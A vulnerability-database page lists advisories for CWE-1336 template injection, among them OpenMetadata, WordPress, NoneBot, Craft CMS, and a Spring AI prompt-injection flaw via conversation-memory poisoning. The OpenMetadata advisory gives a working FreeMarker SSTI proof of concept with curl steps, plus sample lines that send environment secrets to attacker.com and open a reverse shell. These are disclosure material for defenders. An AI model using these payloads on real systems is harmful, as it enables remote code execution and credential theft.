CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
313 vulnerabilities reference this CWE, most recent first.
GHSA-57CG-6GV7-XF26
Vulnerability from github – Published: 2025-09-23 06:30 – Updated: 2025-09-23 06:30The Advanced Views – Display Posts, Custom Fields, and More plugin for WordPress is vulnerable to Server-Side Template Injection in all versions up to, and including, 3.7.19. This is due to insufficient input sanitization and lack of access control when processing custom Twig templates in the Model panel. This makes it possible for authenticated attackers, with author-level access or higher, to execute arbitrary PHP code and commands on the server.
{
"affected": [],
"aliases": [
"CVE-2025-10380"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-23T04:15:46Z",
"severity": "HIGH"
},
"details": "The Advanced Views \u2013 Display Posts, Custom Fields, and More plugin for WordPress is vulnerable to Server-Side Template Injection in all versions up to, and including, 3.7.19. This is due to insufficient input sanitization and lack of access control when processing custom Twig templates in the Model panel. This makes it possible for authenticated attackers, with author-level access or higher, to execute arbitrary PHP code and commands on the server.",
"id": "GHSA-57cg-6gv7-xf26",
"modified": "2025-09-23T06:30:26Z",
"published": "2025-09-23T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10380"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/acf-views/tags/3.7.19/src/Template_Engines/Twig.php#L106"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3364566%40acf-views\u0026new=3364566%40acf-views\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/52b04517-f0be-4bbf-818c-70a12d76bfec?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5852-PHMH-8FHR
Vulnerability from github – Published: 2026-05-12 12:32 – Updated: 2026-05-18 17:54A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.ai:spring-ai-client-chat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.ai:spring-ai-client-chat"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0-M1"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41713"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T17:54:15Z",
"nvd_published_at": "2026-05-12T11:16:19Z",
"severity": "HIGH"
},
"details": "A malicious user could craft input that is stored in conversation memory and later interpreted by the model in an unintended way. Applications using the affected advisor with user-controlled input may be susceptible to manipulation of model behavior across conversation turns.",
"id": "GHSA-5852-phmh-8fhr",
"modified": "2026-05-18T17:54:15Z",
"published": "2026-05-12T12:32:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41713"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-ai"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-41713"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Spring AI: Prompt Injection via Memory Poisoning in PromptChatMemoryAdvisor"
}
GHSA-59J8-776V-XXXG
Vulnerability from github – Published: 2024-02-09 15:04 – Updated: 2024-02-16 22:31Impact
This security advisory pertains to a potential information leak (e.g., environment variables) in instances where developers utilize MessageTemplate and incorporate user-provided data into templates.
Patches
The identified vulnerability has been remedied in fix #2509 and will be included in versions released after 2.1.3. Users are strongly advised to upgrade to these patched versions to safeguard against the vulnerability.
Workarounds
A temporary workaround involves filtering underscores before incorporating user input into the message template.
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nonebot2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0a16"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-21624"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-09T15:04:08Z",
"nvd_published_at": "2024-02-09T23:15:08Z",
"severity": "MODERATE"
},
"details": "### Impact\nThis security advisory pertains to a potential information leak (e.g., environment variables) in instances where developers utilize `MessageTemplate` and incorporate user-provided data into templates.\n\n### Patches\nThe identified vulnerability has been remedied in fix #2509 and will be included in versions released after 2.1.3. Users are strongly advised to upgrade to these patched versions to safeguard against the vulnerability.\n\n### Workarounds\nA temporary workaround involves filtering underscores before incorporating user input into the message template.\n\n### References\n- [Pull Request #2509](https://github.com/nonebot/nonebot2/pull/2509)\n- [CWE-1336](https://cwe.mitre.org/data/definitions/1336.html)",
"id": "GHSA-59j8-776v-xxxg",
"modified": "2024-02-16T22:31:37Z",
"published": "2024-02-09T15:04:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nonebot/nonebot2/security/advisories/GHSA-59j8-776v-xxxg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21624"
},
{
"type": "WEB",
"url": "https://github.com/nonebot/nonebot2/pull/2509"
},
{
"type": "WEB",
"url": "https://github.com/nonebot/nonebot2/commit/b65b3b438c95894654fd9081139989c757bdc6c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/nonebot/nonebot2"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nonebot2/PYSEC-2024-37.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NoneBot Potential Information Leak in User-Constructed Message Templates"
}
GHSA-5F29-2333-H9C7
Vulnerability from github – Published: 2026-01-07 19:33 – Updated: 2026-01-20 18:02OpenMetadata RCE Vulnerability - Proof of Concept
Executive Summary
CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.
Credit
- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud
Vulnerability Details
1. Root Cause
File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
Lines 35-45 contain unsafe FreeMarker template instantiation:
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
return new Template(
templateName,
new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE
new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}
Missing Security Controls:
- ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation
- ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection
- ❌ No input validation - Template content not sanitized
2. Attack Vector (VERIFIED)
Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint
PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
}
]
Step 2: Malicious template stored in MySQL database:
SELECT name, JSON_EXTRACT(json, '$.data.template')
FROM docstore
WHERE name = 'account-activity-change';
-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...
Step 3: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured)
Step 4: RCE execution in DefaultTemplateProvider.getTemplate():
Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!
Exploit Verification
Environment
- Version: OpenMetadata 1.11.2 (Latest)
- Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
- Test Date: December 15, 2025
Step-by-Step Reproduction
1. Deploy OpenMetadata 1.11.2
cd docker
./run_local_docker.sh -m no-ui -d mysql
Result: ✅ OpenMetadata running on localhost:8585
2. Obtain Admin JWT Token
export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
| grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)
echo "Token: ${TOKEN:0:50}..."
Result: ✅ Token obtained (654 characters, 1-hour expiry)
3. Identify Target Template
# Get testMail template ID (used by test email endpoint)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.data[] | select(.name=="testMail") | .id'
Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb
4. Inject RCE Payload
curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
-H "Content-Type: application/json-patch+json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
}]'
Result: ✅ HTTP 200 OK - Template modified successfully
Response Excerpt:
{
"id": "855f58c6-1b80-467a-b92e-71c425e9bfdb",
"name": "testMail",
"entityType": "EmailTemplate",
"data": {
"template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
},
"changeDescription": {
"fieldsUpdated": [
{
"name": "data",
"oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}",
"newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}"
}
]
}
}
5. Setup SMTP Server
# Start MailDev SMTP server (catches emails for verification)
docker run -d --name fakesmtp \
--network linhln31_default \
-p 1025:1025 -p 1080:1080 \
maildev/maildev:latest
# Update OpenMetadata SMTP configuration
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
-Dopenmetadata_db -e "UPDATE openmetadata_settings
SET json=JSON_SET(json,
'$.serverEndpoint', 'fakesmtp',
'$.serverPort', 1025,
'$.transportationStrategy', 'SMTP',
'$.enableSmtpServer', true,
'$.senderMail', 'noreply@openmetadata.org'
)
WHERE configType='emailConfiguration';"
# Restart OpenMetadata to load new SMTP config
docker restart om_server
sleep 50 # Wait for server startup
Result: ✅ SMTP server ready at fakesmtp:1025
6. Trigger RCE Execution
curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"email":"test@test.com"}'
Result: ✅ HTTP 200 OK - "Test Email Sent Successfully."
7. Verify RCE Execution
# Check email content in MailDev
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10
Result: ✅ RCE CONFIRMED!
Email Content:
Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: noreply@openmetadata.org
To: test@test.com
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
RCE OUTPUT: openmetadata
- /opt/openmetadata
Command Execution Proof:
- ✅ whoami command executed → returned openmetadata
- ✅ pwd command executed → returned /opt/openmetadata
- ✅ Commands ran as server process user
- ✅ Full arbitrary command execution achieved
Attack Scenarios
Scenario 1: Privilege Escalation
- Attacker compromises Admin account (phishing, credential stuffing, etc.)
- Injects RCE payload into
password-resettemplate - Triggers password reset for target user
- RCE executes as OpenMetadata server user during email rendering
- Attacker gains shell access to application server
Scenario 2: Data Exfiltration
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}
Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials
Scenario 3: Reverse Shell
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}
Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized)
Impact Assessment
Technical Impact
- Confidentiality: HIGH - Access to database credentials, API keys, secrets
- Integrity: HIGH - Full control over OpenMetadata application and data
- Availability: HIGH - Ability to crash application, delete data, deny service
Business Impact
- Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage
- Compliance: GDPR, SOC2, HIPAA violations if exploited
- Reputation: Critical security failure in data governance platform
- Supply Chain: Potential pivot to connected data sources (70+ connectors)
CVSS 3.1 Score
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L) - Simple API requests
- Privileges Required (PR): High (H) - Admin role required
- User Interaction (UI): None (N)
- Scope (S): Changed (C) - Impacts beyond application (server OS)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Score: 9.1 (CRITICAL)
Remediation
Immediate Fix (CRITICAL)
File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
Replace lines 38-42 with:
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate();
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
// SECURITY FIX: Create sandboxed FreeMarker configuration
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// Block dangerous built-ins
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setClassicCompatible(false);
// Restrict template loading
cfg.setTemplateLoader(new StringTemplateLoader());
return new Template(templateName, new StringReader(template), cfg);
}
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.open-metadata:platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22244"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T19:33:03Z",
"nvd_published_at": "2026-01-08T16:16:02Z",
"severity": "HIGH"
},
"details": "# OpenMetadata RCE Vulnerability - Proof of Concept\n\n## Executive Summary\n\n**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.\n\n## Credit\n- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 \u2013 FPT Cloud AppSec Research Team, FPT Smart Cloud\n\n## Vulnerability Details\n\n### 1. Root Cause\n\nFile: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Lines 35-45** contain unsafe FreeMarker template instantiation:\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate(); // \u2190 USER-CONTROLLED CONTENT FROM DATABASE\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n return new Template(\n templateName, \n new StringReader(template), // \u2190 RENDERS UNTRUSTED TEMPLATE\n new Configuration(Configuration.VERSION_2_3_31)); // \u2190 UNSAFE: NO SECURITY RESTRICTIONS!\n}\n```\n\n**Missing Security Controls**:\n- \u274c No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation\n- \u274c No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection\n- \u274c No input validation - Template content not sanitized\n\n### 2. Attack Vector (VERIFIED)\n\n**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint\n\n```bash\nPATCH /api/v1/docStore/{templateId}\nAuthorization: Bearer \u003cadmin_jwt_token\u003e\nContent-Type: application/json-patch+json\n\n[\n {\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e\u003cp\u003eRCE: ${ ex(\\\"whoami\\\") }\u003c/p\u003e\"\n }\n]\n```\n\n**Step 2**: Malicious template stored in MySQL database:\n\n```sql\nSELECT name, JSON_EXTRACT(json, \u0027$.data.template\u0027) \nFROM docstore \nWHERE name = \u0027account-activity-change\u0027;\n\n-- Returns: \u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e...\n```\n\n**Step 3**: Trigger template rendering via email notification:\n- Password change\n- User invitation\n- Account activity notification\n- Test email (if SMTP configured)\n\n**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:\n\n```java\nTemplate template = templateProvider.getTemplate(\"account-activity-change\");\ntemplate.process(model, stringWriter); // \u2190 COMMAND EXECUTES HERE AS SERVER USER!\n```\n\n---\n\n## Exploit Verification\n\n### Environment\n\n- **Version**: OpenMetadata 1.11.2 (Latest)\n- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)\n- **Test Date**: December 15, 2025\n\n### Step-by-Step Reproduction\n\n#### 1. Deploy OpenMetadata 1.11.2\n\n```bash\ncd docker\n./run_local_docker.sh -m no-ui -d mysql\n```\n\n**Result**: \u2705 OpenMetadata running on localhost:8585\n\n#### 2. Obtain Admin JWT Token\n\n```bash\nexport NO_PROXY=localhost,127.0.0.1\nTOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\":\"admin@open-metadata.org\",\"password\":\"YWRtaW4=\"}\u0027 \\\n | grep -o \u0027\"accessToken\":\"[^\"]*\u0027 | cut -d\u0027\"\u0027 -f4)\n\necho \"Token: ${TOKEN:0:50}...\"\n```\n\n**Result**: \u2705 Token obtained (654 characters, 1-hour expiry)\n\n#### 3. Identify Target Template\n\n```bash\n# Get testMail template ID (used by test email endpoint)\ncurl -s \"http://localhost:8585/api/v1/docStore?entityType=EmailTemplate\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n | jq -r \u0027.data[] | select(.name==\"testMail\") | .id\u0027\n```\n\n**Result**: \u2705 Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`\n\n#### 4. Inject RCE Payload\n\n```bash\ncurl -X PATCH \"http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb\" \\\n -H \"Content-Type: application/json-patch+json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027[{\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n }]\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - Template modified successfully\n\n**Response Excerpt**:\n```json\n{\n \"id\": \"855f58c6-1b80-467a-b92e-71c425e9bfdb\",\n \"name\": \"testMail\",\n \"entityType\": \"EmailTemplate\",\n \"data\": {\n \"template\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n },\n \"changeDescription\": {\n \"fieldsUpdated\": [\n {\n \"name\": \"data\",\n \"oldValue\": \"{\\\"template\\\":\\\"\u003c!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\\\"}\",\n \"newValue\": \"{\\\"template\\\":\\\"\u003c#assign ex=\\\\\\\"freemarker.template.utility.Execute\\\\\\\"?new()\u003eRCE OUTPUT: ${ex(\\\\\\\"whoami\\\\\\\")} - ${ex(\\\\\\\"pwd\\\\\\\")}\\\"}\"\n }\n ]\n }\n}\n```\n\n#### 5. Setup SMTP Server\n\n```bash\n# Start MailDev SMTP server (catches emails for verification)\ndocker run -d --name fakesmtp \\\n --network linhln31_default \\\n -p 1025:1025 -p 1080:1080 \\\n maildev/maildev:latest\n\n# Update OpenMetadata SMTP configuration\ndocker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \\\n -Dopenmetadata_db -e \"UPDATE openmetadata_settings \n SET json=JSON_SET(json, \n \u0027$.serverEndpoint\u0027, \u0027fakesmtp\u0027, \n \u0027$.serverPort\u0027, 1025, \n \u0027$.transportationStrategy\u0027, \u0027SMTP\u0027,\n \u0027$.enableSmtpServer\u0027, true,\n \u0027$.senderMail\u0027, \u0027noreply@openmetadata.org\u0027\n ) \n WHERE configType=\u0027emailConfiguration\u0027;\"\n\n# Restart OpenMetadata to load new SMTP config\ndocker restart om_server\nsleep 50 # Wait for server startup\n```\n\n**Result**: \u2705 SMTP server ready at fakesmtp:1025\n\n#### 6. Trigger RCE Execution\n\n```bash\ncurl -X PUT \"http://localhost:8585/api/v1/system/email/test\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027{\"email\":\"test@test.com\"}\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - \"Test Email Sent Successfully.\"\n\n#### 7. Verify RCE Execution\n\n```bash\n# Check email content in MailDev\ndocker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10\n```\n\n**Result**: \u2705 **RCE CONFIRMED!**\n\n**Email Content**:\n```\nDate: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)\nFrom: noreply@openmetadata.org\nTo: test@test.com\nMessage-ID: \u003c1307498173.2.1765818200564@62a9f8b5b6f2\u003e\nSubject: OpenMetadata : Test Email\nMIME-Version: 1.0\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\nRCE OUTPUT: openmetadata\n - /opt/openmetadata\n```\n\n**Command Execution Proof**:\n- \u2705 `whoami` command executed \u2192 returned `openmetadata`\n- \u2705 `pwd` command executed \u2192 returned `/opt/openmetadata`\n- \u2705 Commands ran as server process user\n- \u2705 Full arbitrary command execution achieved\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Privilege Escalation\n\n1. Attacker compromises Admin account (phishing, credential stuffing, etc.)\n2. Injects RCE payload into `password-reset` template\n3. Triggers password reset for target user\n4. RCE executes as OpenMetadata server user during email rendering\n5. Attacker gains shell access to application server\n\n### Scenario 2: Data Exfiltration\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-\")}\n```\n\nExfiltrates environment variables containing:\n- Database credentials\n- API keys and secrets\n- JWT signing keys\n- Cloud provider credentials\n\n### Scenario 3: Reverse Shell\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261\u0027\")}\n```\n\nEstablishes persistent access for:\n- Interactive command execution\n- Lateral movement to connected systems\n- Database direct access\n- Kubernetes cluster compromise (if containerized)\n\n---\n\n## Impact Assessment\n\n### Technical Impact\n\n- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets\n- **Integrity**: **HIGH** - Full control over OpenMetadata application and data\n- **Availability**: **HIGH** - Ability to crash application, delete data, deny service\n\n### Business Impact\n\n- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage\n- **Compliance**: GDPR, SOC2, HIPAA violations if exploited\n- **Reputation**: Critical security failure in data governance platform\n- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)\n\n### CVSS 3.1 Score\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n```\n\n- **Attack Vector (AV)**: Network (N)\n- **Attack Complexity (AC)**: Low (L) - Simple API requests\n- **Privileges Required (PR)**: High (H) - Admin role required\n- **User Interaction (UI)**: None (N)\n- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)\n- **Confidentiality (C)**: High (H)\n- **Integrity (I)**: High (H)\n- **Availability (A)**: High (H)\n\n**Score**: **9.1 (CRITICAL)**\n\n---\n\n## Remediation\n\n### Immediate Fix (CRITICAL)\n\n**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Replace lines 38-42 with:**\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate();\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n // SECURITY FIX: Create sandboxed FreeMarker configuration\n Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);\n \n // Block dangerous built-ins\n cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);\n cfg.setAPIBuiltinEnabled(false);\n cfg.setClassicCompatible(false);\n \n // Restrict template loading\n cfg.setTemplateLoader(new StringTemplateLoader());\n \n return new Template(templateName, new StringReader(template), cfg);\n}\n```\n---",
"id": "GHSA-5f29-2333-h9c7",
"modified": "2026-01-20T18:02:42Z",
"published": "2026-01-07T19:33:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5f29-2333-h9c7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22244"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/commit/bffe7c45807763f9b682021d4211c478d2a08bb3"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-metadata/OpenMetadata"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"type": "CVSS_V4"
}
],
"summary": "OpenMetadata\u0027s Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE"
}
GHSA-5FVC-7894-GHP4
Vulnerability from github – Published: 2026-03-03 21:01 – Updated: 2026-03-04 18:39Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.
In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.
Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.
Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.
https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096
This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.
Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.
Resources
https://github.com/craftcms/cms/pull/18208
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28783"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-184",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:01:27Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "MODERATE"
},
"details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config 